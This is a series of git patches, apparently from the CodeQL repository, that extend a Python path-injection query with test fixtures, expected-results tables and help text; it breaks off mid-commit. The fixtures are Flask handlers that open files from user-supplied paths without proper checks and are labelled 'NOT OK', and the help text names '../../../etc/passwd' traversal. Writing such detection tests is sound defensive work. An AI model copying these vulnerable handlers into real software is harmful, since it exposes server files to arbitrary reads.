| ControlFlowNode for npath | +| path_injection.py:27:16:27:27 | ControlFlowNode for Attribute | path_injection.py:28:13:28:64 | ControlFlowNode for Attribute() | +| path_injection.py:28:13:28:64 | ControlFlowNode for Attribute() | path_injection.py:31:14:31:18 | ControlFlowNode for npath | +| path_injection.py:37:16:37:27 | ControlFlowNode for Attribute | path_injection.py:38:13:38:64 | ControlFlowNode for Attribute() | | test.py:9:12:9:23 | ControlFlowNode for Attribute | test.py:9:12:9:39 | ControlFlowNode for Attribute() | | test.py:9:12:9:23 | ControlFlowNode for Attribute | test.py:9:12:9:39 | ControlFlowNode for Attribute() | | test.py:9:12:9:39 | ControlFlowNode for Attribute() | test.py:18:9:18:16 | ControlFlowNode for source() | @@ -39,16 +39,16 @@ edges | test_chaining.py:41:9:41:16 | ControlFlowNode for source() | test_chaining.py:42:9:42:19 | ControlFlowNode for normpath() | | test_chaining.py:44:13:44:23 | ControlFlowNode for normpath() | test_chaining.py:45:14:45:14 | ControlFlowNode for z | nodes -| path_injection.py:9:12:9:23 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| path_injection.py:10:14:10:44 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | -| path_injection.py:15:12:15:23 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| path_injection.py:16:13:16:61 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | -| path_injection.py:17:14:17:18 | ControlFlowNode for npath | semmle.label | ControlFlowNode for npath | -| path_injection.py:24:12:24:23 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| path_injection.py:25:13:25:61 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | -| path_injection.py:28:14:28:18 | ControlFlowNode for npath | semmle.label | ControlFlowNode for npath | -| path_injection.py:33:12:33:23 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| path_injection.py:34:13:34:61 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | +| path_injection.py:12:16:12:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| path_injection.py:13:14:13:47 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | +| path_injection.py:19:16:19:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| path_injection.py:20:13:20:64 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | +| path_injection.py:21:14:21:18 | ControlFlowNode for npath | semmle.label | ControlFlowNode for npath | +| path_injection.py:27:16:27:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| path_injection.py:28:13:28:64 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | +| path_injection.py:31:14:31:18 | ControlFlowNode for npath | semmle.label | ControlFlowNode for npath | +| path_injection.py:37:16:37:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| path_injection.py:38:13:38:64 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | test.py:9:12:9:23 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | test.py:9:12:9:23 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | test.py:9:12:9:39 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | @@ -84,9 +84,9 @@ nodes | test_chaining.py:44:13:44:23 | ControlFlowNode for normpath() | semmle.label | ControlFlowNode for normpath() | | test_chaining.py:45:14:45:14 | ControlFlowNode for z | semmle.label | ControlFlowNode for z | #select -| path_injection.py:10:14:10:44 | ControlFlowNode for Attribute() | path_injection.py:9:12:9:23 | ControlFlowNode for Attribute | path_injection.py:10:14:10:44 | ControlFlowNode for Attribute() | This path depends on $@. | path_injection.py:9:12:9:23 | ControlFlowNode for Attribute | a user-provided value | -| path_injection.py:17:14:17:18 | ControlFlowNode for npath | path_injection.py:15:12:15:23 | ControlFlowNode for Attribute | path_injection.py:17:14:17:18 | ControlFlowNode for npath | This path depends on $@. | path_injection.py:15:12:15:23 | ControlFlowNode for Attribute | a user-provided value | -| path_injection.py:28:14:28:18 | ControlFlowNode for npath | path_injection.py:24:12:24:23 | ControlFlowNode for Attribute | path_injection.py:28:14:28:18 | ControlFlowNode for npath | This path depends on $@. | path_injection.py:24:12:24:23 | ControlFlowNode for Attribute | a user-provided value | +| path_injection.py:13:14:13:47 | ControlFlowNode for Attribute() | path_injection.py:12:16:12:27 | ControlFlowNode for Attribute | path_injection.py:13:14:13:47 | ControlFlowNode for Attribute() | This path depends on $@. | path_injection.py:12:16:12:27 | ControlFlowNode for Attribute | a user-provided value | +| path_injection.py:21:14:21:18 | ControlFlowNode for npath | path_injection.py:19:16:19:27 | ControlFlowNode for Attribute | path_injection.py:21:14:21:18 | ControlFlowNode for npath | This path depends on $@. | path_injection.py:19:16:19:27 | ControlFlowNode for Attribute | a user-provided value | +| path_injection.py:31:14:31:18 | ControlFlowNode for npath | path_injection.py:27:16:27:27 | ControlFlowNode for Attribute | path_injection.py:31:14:31:18 | ControlFlowNode for npath | This path depends on $@. | path_injection.py:27:16:27:27 | ControlFlowNode for Attribute | a user-provided value | | test.py:19:10:19:10 | ControlFlowNode for x | test.py:9:12:9:23 | ControlFlowNode for Attribute | test.py:19:10:19:10 | ControlFlowNode for x | This path depends on $@. | test.py:9:12:9:23 | ControlFlowNode for Attribute | a user-provided value | | test.py:26:10:26:10 | ControlFlowNode for y | test.py:9:12:9:23 | ControlFlowNode for Attribute | test.py:26:10:26:10 | ControlFlowNode for y | This path depends on $@. | test.py:9:12:9:23 | ControlFlowNode for Attribute | a user-provided value | | test.py:33:14:33:14 | ControlFlowNode for x | test.py:9:12:9:23 | ControlFlowNode for Attribute | test.py:33:14:33:14 | ControlFlowNode for x | This path depends on $@. | test.py:9:12:9:23 | ControlFlowNode for Attribute | a user-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-022-PathInjection/path_injection.py b/python/ql/test/query-tests/Security/CWE-022-PathInjection/path_injection.py index 04788658102..265bd6fcc60 100644 --- a/python/ql/test/query-tests/Security/CWE-022-PathInjection/path_injection.py +++ b/python/ql/test/query-tests/Security/CWE-022-PathInjection/path_injection.py @@ -1,36 +1,40 @@ - -import os.path +import os from flask import Flask, request app = Flask(__name__) + +STATIC_DIR = "/server/static/" + + @app.route("/path1") def path_injection(): - path = request.args.get('path', '') - f = open(os.path.join(os.getcwd(), path)) + filename = request.args.get('filename', '') + f = open(os.path.join(STATIC_DIR, filename)) # NOT OK + @app.route("/path2") def path_injection(): # Normalized, but not checked - path = request.args.get('path', '') - npath = os.path.normpath(os.path.join(os.getcwd(), path)) - f = open(npath) # Path not found + filename = request.args.get('filename', '') + npath = os.path.normpath(os.path.join(STATIC_DIR, filename)) + f = open(npath) # NOT OK -SAFE = "/tmp/scratch_area/" @app.route("/path3") def safe_path(): - # Normalized, but check doesn't reach open(). - path = request.args.get('path', '') - npath = os.path.normpath(os.path.join(os.getcwd(), path)) - if npath.startswith(SAFE): + # Normalized, but `open()` is not guarded by `startswith` check + filename = request.args.get('filename', '') + npath = os.path.normpath(os.path.join(STATIC_DIR, filename)) + if npath.startswith(STATIC_DIR): pass - f = open(npath) # Path not found + f = open(npath) # NOT OK + @app.route("/path4") def safe_path(): # Normalized, and checked properly - path = request.args.get('path', '') - npath = os.path.normpath(os.path.join(os.getcwd(), path)) - if npath.startswith(SAFE): - f = open(npath) + filename = request.args.get('filename', '') + npath = os.path.normpath(os.path.join(STATIC_DIR, filename)) + if npath.startswith(STATIC_DIR): + f = open(npath) # OK From e53ed478abcb2791e8fbf532afa396576bf9d571 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Thu, 3 Dec 2020 11:08:34 +0100 Subject: [PATCH 0125/1241] Python: Highlight os.path.join behavior with absolute paths --- python/ql/src/Security/CWE-022/PathInjection.qhelp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/python/ql/src/Security/CWE-022/PathInjection.qhelp b/python/ql/src/Security/CWE-022/PathInjection.qhelp index 200a4e78f98..fbcb60c26fa 100644 --- a/python/ql/src/Security/CWE-022/PathInjection.qhelp +++ b/python/ql/src/Security/CWE-022/PathInjection.qhelp @@ -43,7 +43,8 @@ In the second example, it appears that the user is restricted to opening a file special characters. For example, the string <code>"../../../etc/passwd"</code> will result in the code reading the file located at <code>"/server/static/images/../../../etc/passwd"</code>, which is the system's password file. This file would then be sent back to the user, giving them access to all the -system's passwords. +system's passwords. Note that it is still possible to use an absolute path, since the result of +<code>os.path.join("/server/static/images/", "/etc/passwd")</code> is <code>"/etc/passwd"</code>. </p> <p> From bd5cf803520dbb561ecf1559e8d2f13b08dd4e7f Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Thu, 3 Dec 2020 13:09:01 +0100 Subject: [PATCH 0126/1241] Python: Add Path Injection tests for realpath and abspath Not supported currently --- .../CWE-022-PathInjection/path_injection.py | 38 ++++++++++++++++++- 1 file changed, 36 insertions(+), 2 deletions(-) diff --git a/python/ql/test/query-tests/Security/CWE-022-PathInjection/path_injection.py b/python/ql/test/query-tests/Security/CWE-022-PathInjection/path_injection.py index 265bd6fcc60..76c6a3db7c3 100644 --- a/python/ql/test/query-tests/Security/CWE-022-PathInjection/path_injection.py +++ b/python/ql/test/query-tests/Security/CWE-022-PathInjection/path_injection.py @@ -22,7 +22,7 @@ def path_injection(): @app.route("/path3") -def safe_path(): +def unsafe_path_normpath(): # Normalized, but `open()` is not guarded by `startswith` check filename = request.args.get('filename', '') npath = os.path.normpath(os.path.join(STATIC_DIR, filename)) @@ -32,9 +32,43 @@ def safe_path(): @app.route("/path4") -def safe_path(): +def safe_path_normpath(): # Normalized, and checked properly filename = request.args.get('filename', '') npath = os.path.normpath(os.path.join(STATIC_DIR, filename)) if npath.startswith(STATIC_DIR): f = open(npath) # OK + + +@app.route("/path5") +def unsafe_path_realpath(): + # Normalized (by `realpath` that also follows symlinks), but not checked properly + filename = request.args.get('filename', '') + npath = os.path.realpath(os.path.join(STATIC_DIR, filename)) + f = open(npath) # NOT OK + + +@app.route("/path6") +def safe_path_realpath(): + # Normalized (by `realpath` that also follows symlinks), and checked properly + filename = request.args.get('filename', '') + npath = os.path.realpath(os.path.join(STATIC_DIR, filename)) + if npath.startswith(STATIC_DIR): + f = open(npath) # OK + + +@app.route("/path6") +def unsafe_path_abspath(): + # Normalized (by `abspath`), but not checked properly + filename = request.args.get('filename', '') + npath = os.path.abspath(os.path.join(STATIC_DIR, filename)) + f = open(npath) # NOT OK + + +@app.route("/path7") +def safe_path_abspath(): + # Normalized (by `abspath`), and checked properly + filename = request.args.get('filename', '') + npath = os.path.abspath(os.path.join(STATIC_DIR, filename)) + if npath.startswith(STATIC_DIR): + f = open(npath) # OK From e8f63311ac5ffcc587ea98249320fc2c37163176 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Thu, 3 Dec 2020 13:23:21 +0100 Subject: [PATCH 0127/1241] Python: Model abspath and realpath (for Path Injection) --- .../2020-12-03-model-realpath-abspath.md | 2 + .../src/semmle/python/frameworks/Stdlib.qll | 50 ++++++++++++++++++- .../PathInjection.expected | 18 +++++++ 3 files changed, 69 insertions(+), 1 deletion(-) create mode 100644 python/change-notes/2020-12-03-model-realpath-abspath.md diff --git a/python/change-notes/2020-12-03-model-realpath-abspath.md b/python/change-notes/2020-12-03-model-realpath-abspath.md new file mode 100644 index 00000000000..e87137e15d9 --- /dev/null +++ b/python/change-notes/2020-12-03-model-realpath-abspath.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* Added modeling of `os.path.abspath` and `os.path.realpath` for Path Injection (py/path-injection). diff --git a/python/ql/src/semmle/python/frameworks/Stdlib.qll b/python/ql/src/semmle/python/frameworks/Stdlib.qll index 2ca369f9221..95d3ec256fc 100644 --- a/python/ql/src/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/src/semmle/python/frameworks/Stdlib.qll @@ -91,7 +91,7 @@ private module Stdlib { * For example, using `attr_name = "join"` will get all uses of `os.path.join`. */ private DataFlow::Node path_attr(DataFlow::TypeTracker t, string attr_name) { - attr_name in ["join", "normpath"] and + attr_name in ["join", "normpath", "realpath", "abspath"] and ( t.start() and result = DataFlow::importNode("os.path." + attr_name) @@ -157,6 +157,54 @@ private module Stdlib { } } + /** + * A call to `os.path.abspath`. + * See https://docs.python.org/3/library/os.path.html#os.path.abspath + */ + private class OsPathAbspathCall extends Path::PathNormalization::Range, DataFlow::CfgNode { + override CallNode node; + + OsPathAbspathCall() { node.getFunction() = os::path::path_attr("abspath").asCfgNode() } + + DataFlow::Node getPathArg() { + result.asCfgNode() in [node.getArg(0), node.getArgByName("path")] + } + } + + /** An additional taint step for calls to `os.path.abspath` */ + private class OsPathAbspathCallAdditionalTaintStep extends TaintTracking::AdditionalTaintStep { + override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { + exists(OsPathAbspathCall call | + nodeTo = call and + nodeFrom = call.getPathArg() + ) + } + } + + /** + * A call to `os.path.realpath`. + * See https://docs.python.org/3/library/os.path.html#os.path.realpath + */ + private class OsPathRealpathCall extends Path::PathNormalization::Range, DataFlow::CfgNode { + override CallNode node; + + OsPathRealpathCall() { node.getFunction() = os::path::path_attr("realpath").asCfgNode() } + + DataFlow::Node getPathArg() { + result.asCfgNode() in [node.getArg(0), node.getArgByName("path")] + } + } + + /** An additional taint step for calls to `os.path.realpath` */ + private class OsPathRealpathCallAdditionalTaintStep extends TaintTracking::AdditionalTaintStep { + override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { + exists(OsPathRealpathCall call | + nodeTo = call and + nodeFrom = call.getPathArg() + ) + } + } + /** * A call to `os.system`. * See https://docs.python.org/3/library/os.html#os.system diff --git a/python/ql/test/query-tests/Security/CWE-022-PathInjection/PathInjection.expected b/python/ql/test/query-tests/Security/CWE-022-PathInjection/PathInjection.expected index 02ba96b139f..7b3aa233a6f 100644 --- a/python/ql/test/query-tests/Security/CWE-022-PathInjection/PathInjection.expected +++ b/python/ql/test/query-tests/Security/CWE-022-PathInjection/PathInjection.expected @@ -5,6 +5,12 @@ edges | path_injection.py:27:16:27:27 | ControlFlowNode for Attribute | path_injection.py:28:13:28:64 | ControlFlowNode for Attribute() | | path_injection.py:28:13:28:64 | ControlFlowNode for Attribute() | path_injection.py:31:14:31:18 | ControlFlowNode for npath | | path_injection.py:37:16:37:27 | ControlFlowNode for Attribute | path_injection.py:38:13:38:64 | ControlFlowNode for Attribute() | +| path_injection.py:46:16:46:27 | ControlFlowNode for Attribute | path_injection.py:47:13:47:64 | ControlFlowNode for Attribute() | +| path_injection.py:47:13:47:64 | ControlFlowNode for Attribute() | path_injection.py:48:14:48:18 | ControlFlowNode for npath | +| path_injection.py:54:16:54:27 | ControlFlowNode for Attribute | path_injection.py:55:13:55:64 | ControlFlowNode for Attribute() | +| path_injection.py:63:16:63:27 | ControlFlowNode for Attribute | path_injection.py:64:13:64:63 | ControlFlowNode for Attribute() | +| path_injection.py:64:13:64:63 | ControlFlowNode for Attribute() | path_injection.py:65:14:65:18 | ControlFlowNode for npath | +| path_injection.py:71:16:71:27 | ControlFlowNode for Attribute | path_injection.py:72:13:72:63 | ControlFlowNode for Attribute() | | test.py:9:12:9:23 | ControlFlowNode for Attribute | test.py:9:12:9:39 | ControlFlowNode for Attribute() | | test.py:9:12:9:23 | ControlFlowNode for Attribute | test.py:9:12:9:39 | ControlFlowNode for Attribute() | | test.py:9:12:9:39 | ControlFlowNode for Attribute() | test.py:18:9:18:16 | ControlFlowNode for source() | @@ -49,6 +55,16 @@ nodes | path_injection.py:31:14:31:18 | ControlFlowNode for npath | semmle.label | ControlFlowNode for npath | | path_injection.py:37:16:37:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | path_injection.py:38:13:38:64 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | +| path_injection.py:46:16:46:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| path_injection.py:47:13:47:64 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | +| path_injection.py:48:14:48:18 | ControlFlowNode for npath | semmle.label | ControlFlowNode for npath | +| path_injection.py:54:16:54:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| path_injection.py:55:13:55:64 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | +| path_injection.py:63:16:63:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| path_injection.py:64:13:64:63 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | +| path_injection.py:65:14:65:18 | ControlFlowNode for npath | semmle.label | ControlFlowNode for npath | +| path_injection.py:71:16:71:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| path_injection.py:72:13:72:63 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | test.py:9:12:9:23 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | test.py:9:12:9:23 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | test.py:9:12:9:39 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | @@ -87,6 +103,8 @@ nodes | path_injection.py:13:14:13:47 | ControlFlowNode for Attribute() | path_injection.py:12:16:12:27 | ControlFlowNode for Attribute | path_injection.py:13:14:13:47 | ControlFlowNode for Attribute() | This path depends on $@. | path_injection.py:12:16:12:27 | ControlFlowNode for Attribute | a user-provided value | | path_injection.py:21:14:21:18 | ControlFlowNode for npath | path_injection.py:19:16:19:27 | ControlFlowNode for Attribute | path_injection.py:21:14:21:18 | ControlFlowNode for npath | This path depends on $@. | path_injection.py:19:16:19:27 | ControlFlowNode for Attribute | a user-provided value | | path_injection.py:31:14:31:18 | ControlFlowNode for npath | path_injection.py:27:16:27:27 | ControlFlowNode for Attribute | path_injection.py:31:14:31:18 | ControlFlowNode for npath | This path depends on $@. | path_injection.py:27:16:27:27 | ControlFlowNode for Attribute | a user-provided value | +| path_injection.py:48:14:48:18 | ControlFlowNode for npath | path_injection.py:46:16:46:27 | ControlFlowNode for Attribute | path_injection.py:48:14:48:18 | ControlFlowNode for npath | This path depends on $@. | path_injection.py:46:16:46:27 | ControlFlowNode for Attribute | a user-provided value | +| path_injection.py:65:14:65:18 | ControlFlowNode for npath | path_injection.py:63:16:63:27 | ControlFlowNode for Attribute | path_injection.py:65:14:65:18 | ControlFlowNode for npath | This path depends on $@. | path_injection.py:63:16:63:27 | ControlFlowNode for Attribute | a user-provided value | | test.py:19:10:19:10 | ControlFlowNode for x | test.py:9:12:9:23 | ControlFlowNode for Attribute | test.py:19:10:19:10 | ControlFlowNode for x | This path depends on $@. | test.py:9:12:9:23 | ControlFlowNode for Attribute | a user-provided value | | test.py:26:10:26:10 | ControlFlowNode for y | test.py:9:12:9:23 | ControlFlowNode for Attribute | test.py:26:10:26:10 | ControlFlowNode for y | This path depends on $@. | test.py:9:12:9:23 | ControlFlowNode for Attribute | a user-provided value | | test.py:33:14:33:14 | ControlFlowNode for x | test.py:9:12:9:23 | ControlFlowNode for Attribute | test.py:33:14:33:14 | ControlFlowNode for x | This path depends on $@. | test.py:9:12:9:23 | ControlFlowNode for Attribute | a user-provided value | From a9ce067e153b0381555f1076e14b593aa30c580f Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Thu, 3 Dec 2020 13:37:49 +0100 Subject: [PATCH 0128/1241] Python: Add examples of Path Injection FPs seen Not quite sure how to deal with these cases of safe if UNIX-only, otherwise not safe. If/when we actually try to deal with these, we also need to figure that out. We _could_ split this queyr into 3: (1) for path injection on any platform, (2) path injection on windows, (3) path injection on UNIX. Then UNIX-only projects could disable the path-injection on windows query. -- that's my best idea, if you have better ideas, DO tell :+1: --- .../PathInjection.expected | 27 +++++++++ .../CWE-022-PathInjection/path_injection.py | 55 +++++++++++++++++++ 2 files changed, 82 insertions(+) diff --git a/python/ql/test/query-tests/Security/CWE-022-PathInjection/PathInjection.expected b/python/ql/test/query-tests/Security/CWE-022-PathInjection/PathInjection.expected index 7b3aa233a6f..994f3376526 100644 --- a/python/ql/test/query-tests/Security/CWE-022-PathInjection/PathInjection.expected +++ b/python/ql/test/query-tests/Security/CWE-022-PathInjection/PathInjection.expected @@ -11,6 +11,13 @@ edges | path_injection.py:63:16:63:27 | ControlFlowNode for Attribute | path_injection.py:64:13:64:63 | ControlFlowNode for Attribute() | | path_injection.py:64:13:64:63 | ControlFlowNode for Attribute() | path_injection.py:65:14:65:18 | ControlFlowNode for npath | | path_injection.py:71:16:71:27 | ControlFlowNode for Attribute | path_injection.py:72:13:72:63 | ControlFlowNode for Attribute() | +| path_injection.py:78:20:78:25 | ControlFlowNode for foo_id | path_injection.py:81:14:81:17 | ControlFlowNode for path | +| path_injection.py:85:20:85:22 | ControlFlowNode for foo | path_injection.py:89:14:89:17 | ControlFlowNode for path | +| path_injection.py:94:16:94:27 | ControlFlowNode for Attribute | path_injection.py:100:14:100:17 | ControlFlowNode for path | +| path_injection.py:105:16:105:27 | ControlFlowNode for Attribute | path_injection.py:111:14:111:17 | ControlFlowNode for path | +| path_injection.py:116:16:116:27 | ControlFlowNode for Attribute | path_injection.py:119:14:119:22 | ControlFlowNode for sanitized | +| path_injection.py:125:16:125:27 | ControlFlowNode for Attribute | path_injection.py:127:30:127:51 | ControlFlowNode for Attribute() | +| path_injection.py:125:16:125:27 | ControlFlowNode for Attribute | path_injection.py:129:14:129:17 | ControlFlowNode for path | | test.py:9:12:9:23 | ControlFlowNode for Attribute | test.py:9:12:9:39 | ControlFlowNode for Attribute() | | test.py:9:12:9:23 | ControlFlowNode for Attribute | test.py:9:12:9:39 | ControlFlowNode for Attribute() | | test.py:9:12:9:39 | ControlFlowNode for Attribute() | test.py:18:9:18:16 | ControlFlowNode for source() | @@ -65,6 +72,20 @@ nodes | path_injection.py:65:14:65:18 | ControlFlowNode for npath | semmle.label | ControlFlowNode for npath | | path_injection.py:71:16:71:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | path_injection.py:72:13:72:63 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | +| path_injection.py:78:20:78:25 | ControlFlowNode for foo_id | semmle.label | ControlFlowNode for foo_id | +| path_injection.py:81:14:81:17 | ControlFlowNode for path | semmle.label | ControlFlowNode for path | +| path_injection.py:85:20:85:22 | ControlFlowNode for foo | semmle.label | ControlFlowNode for foo | +| path_injection.py:89:14:89:17 | ControlFlowNode for path | semmle.label | ControlFlowNode for path | +| path_injection.py:94:16:94:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| path_injection.py:100:14:100:17 | ControlFlowNode for path | semmle.label | ControlFlowNode for path | +| path_injection.py:105:16:105:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| path_injection.py:111:14:111:17 | ControlFlowNode for path | semmle.label | ControlFlowNode for path | +| path_injection.py:116:16:116:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| path_injection.py:119:14:119:22 | ControlFlowNode for sanitized | semmle.label | ControlFlowNode for sanitized | +| path_injection.py:125:16:125:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| path_injection.py:125:16:125:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| path_injection.py:127:30:127:51 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | +| path_injection.py:129:14:129:17 | ControlFlowNode for path | semmle.label | ControlFlowNode for path | | test.py:9:12:9:23 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | test.py:9:12:9:23 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | test.py:9:12:9:39 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | @@ -105,6 +126,12 @@ nodes | path_injection.py:31:14:31:18 | ControlFlowNode for npath | path_injection.py:27:16:27:27 | ControlFlowNode for Attribute | path_injection.py:31:14:31:18 | ControlFlowNode for npath | This path depends on $@. | path_injection.py:27:16:27:27 | ControlFlowNode for Attribute | a user-provided value | | path_injection.py:48:14:48:18 | ControlFlowNode for npath | path_injection.py:46:16:46:27 | ControlFlowNode for Attribute | path_injection.py:48:14:48:18 | ControlFlowNode for npath | This path depends on $@. | path_injection.py:46:16:46:27 | ControlFlowNode for Attribute | a user-provided value | | path_injection.py:65:14:65:18 | ControlFlowNode for npath | path_injection.py:63:16:63:27 | ControlFlowNode for Attribute | path_injection.py:65:14:65:18 | ControlFlowNode for npath | This path depends on $@. | path_injection.py:63:16:63:27 | ControlFlowNode for Attribute | a user-provided value | +| path_injection.py:81:14:81:17 | ControlFlowNode for path | path_injection.py:78:20:78:25 | ControlFlowNode for foo_id | path_injection.py:81:14:81:17 | ControlFlowNode for path | This path depends on $@. | path_injection.py:78:20:78:25 | ControlFlowNode for foo_id | a user-provided value | +| path_injection.py:89:14:89:17 | ControlFlowNode for path | path_injection.py:85:20:85:22 | ControlFlowNode for foo | path_injection.py:89:14:89:17 | ControlFlowNode for path | This path depends on $@. | path_injection.py:85:20:85:22 | ControlFlowNode for foo | a user-provided value | +| path_injection.py:100:14:100:17 | ControlFlowNode for path | path_injection.py:94:16:94:27 | ControlFlowNode for Attribute | path_injection.py:100:14:100:17 | ControlFlowNode for path | This path depends on $@. | path_injection.py:94:16:94:27 | ControlFlowNode for Attribute | a user-provided value | +| path_injection.py:111:14:111:17 | ControlFlowNode for path | path_injection.py:105:16:105:27 | ControlFlowNode for Attribute | path_injection.py:111:14:111:17 | ControlFlowNode for path | This path depends on $@. | path_injection.py:105:16:105:27 | ControlFlowNode for Attribute | a user-provided value | +| path_injection.py:119:14:119:22 | ControlFlowNode for sanitized | path_injection.py:116:16:116:27 | ControlFlowNode for Attribute | path_injection.py:119:14:119:22 | ControlFlowNode for sanitized | This path depends on $@. | path_injection.py:116:16:116:27 | ControlFlowNode for Attribute | a user-provided value | +| path_injection.py:129:14:129:17 | ControlFlowNode for path | path_injection.py:125:16:125:27 | ControlFlowNode for Attribute | path_injection.py:129:14:129:17 | ControlFlowNode for path | This path depends on $@. | path_injection.py:125:16:125:27 | ControlFlowNode for Attribute | a user-provided value | | test.py:19:10:19:10 | ControlFlowNode for x | test.py:9:12:9:23 | ControlFlowNode for Attribute | test.py:19:10:19:10 | ControlFlowNode for x | This path depends on $@. | test.py:9:12:9:23 | ControlFlowNode for Attribute | a user-provided value | | test.py:26:10:26:10 | ControlFlowNode for y | test.py:9:12:9:23 | ControlFlowNode for Attribute | test.py:26:10:26:10 | ControlFlowNode for y | This path depends on $@. | test.py:9:12:9:23 | ControlFlowNode for Attribute | a user-provided value | | test.py:33:14:33:14 | ControlFlowNode for x | test.py:9:12:9:23 | ControlFlowNode for Attribute | test.py:33:14:33:14 | ControlFlowNode for x | This path depends on $@. | test.py:9:12:9:23 | ControlFlowNode for Attribute | a user-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-022-PathInjection/path_injection.py b/python/ql/test/query-tests/Security/CWE-022-PathInjection/path_injection.py index 76c6a3db7c3..d928aa758ab 100644 --- a/python/ql/test/query-tests/Security/CWE-022-PathInjection/path_injection.py +++ b/python/ql/test/query-tests/Security/CWE-022-PathInjection/path_injection.py @@ -72,3 +72,58 @@ def safe_path_abspath(): npath = os.path.abspath(os.path.join(STATIC_DIR, filename)) if npath.startswith(STATIC_DIR): f = open(npath) # OK + + +@app.route("/int-only/<int:foo_id>") +def flask_int_only(foo_id): + # This is OK, since the flask routing ensures that `foo_id` MUST be an integer. + path = os.path.join(STATIC_DIR, foo_id) + f = open(path) # OK TODO: FP + + +@app.route("/not-path/<foo>") +def flask_not_path(foo): + # On UNIX systems, this is OK, since without being marked as `<path:foo>`, flask + # routing ensures that `foo` cannot contain forward slashes (not by using %2F either). + path = os.path.join(STATIC_DIR, foo) + f = open(path) # OK if only running on UNIX systems, NOT OK if could be running on windows + + +@app.route("/no-dot-dot") +def no_dot_dot(): + filename = request.args.get('filename', '') + path = os.path.join(STATIC_DIR, filename) + # Note: even for UNIX-only programs, this check is not good enough, since it doesn't + # handle if `filename` is an absolute path + if '../' in path: + return "not this time" + f = open(path) # NOT OK + + +@app.route("/no-dot-dot-with-prefix") +def no_dot_dot_with_prefix(): + filename = request.args.get('filename', '') + path = os.path.join(STATIC_DIR, "img-"+filename) + # Note: Since `filename` has a prefix, it's not possible to use an absolute path. + # Therefore, for UNIX-only programs, the `../` check is enough to stop path injections. + if '../' in path: + return "not this time" + f = open(path) # OK if only running on UNIX systems, NOT OK if could be running on windows + + +@app.route("/replace-slash") +def replace_slash(): + filename = request.args.get('filename', '') + path = os.path.join(STATIC_DIR, filename) + sanitized = path.replace("/", "_") + f = open(sanitized) # OK if only running on UNIX systems, NOT OK if could be running on windows + + +@app.route("/stackoverflow-solution") +def stackoverflow_solution(): + # Solution provided in https://stackoverflow.com/a/45188896 + filename = request.args.get('filename', '') + path = os.path.join(STATIC_DIR, filename) + if os.path.commonprefix((os.path.realpath(path), STATIC_DIR)) != STATIC_DIR: + return "not this time" + f = open(path) # OK TODO: FP From 3bad75dae5633be4a3f1519ad916063219108f09 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 3 Dec 2020 14:44:48 +0100 Subject: [PATCH 0129/1241] better support for forms in js/xss-through-dom --- javascript/ql/src/semmle/javascript/DOM.qll | 25 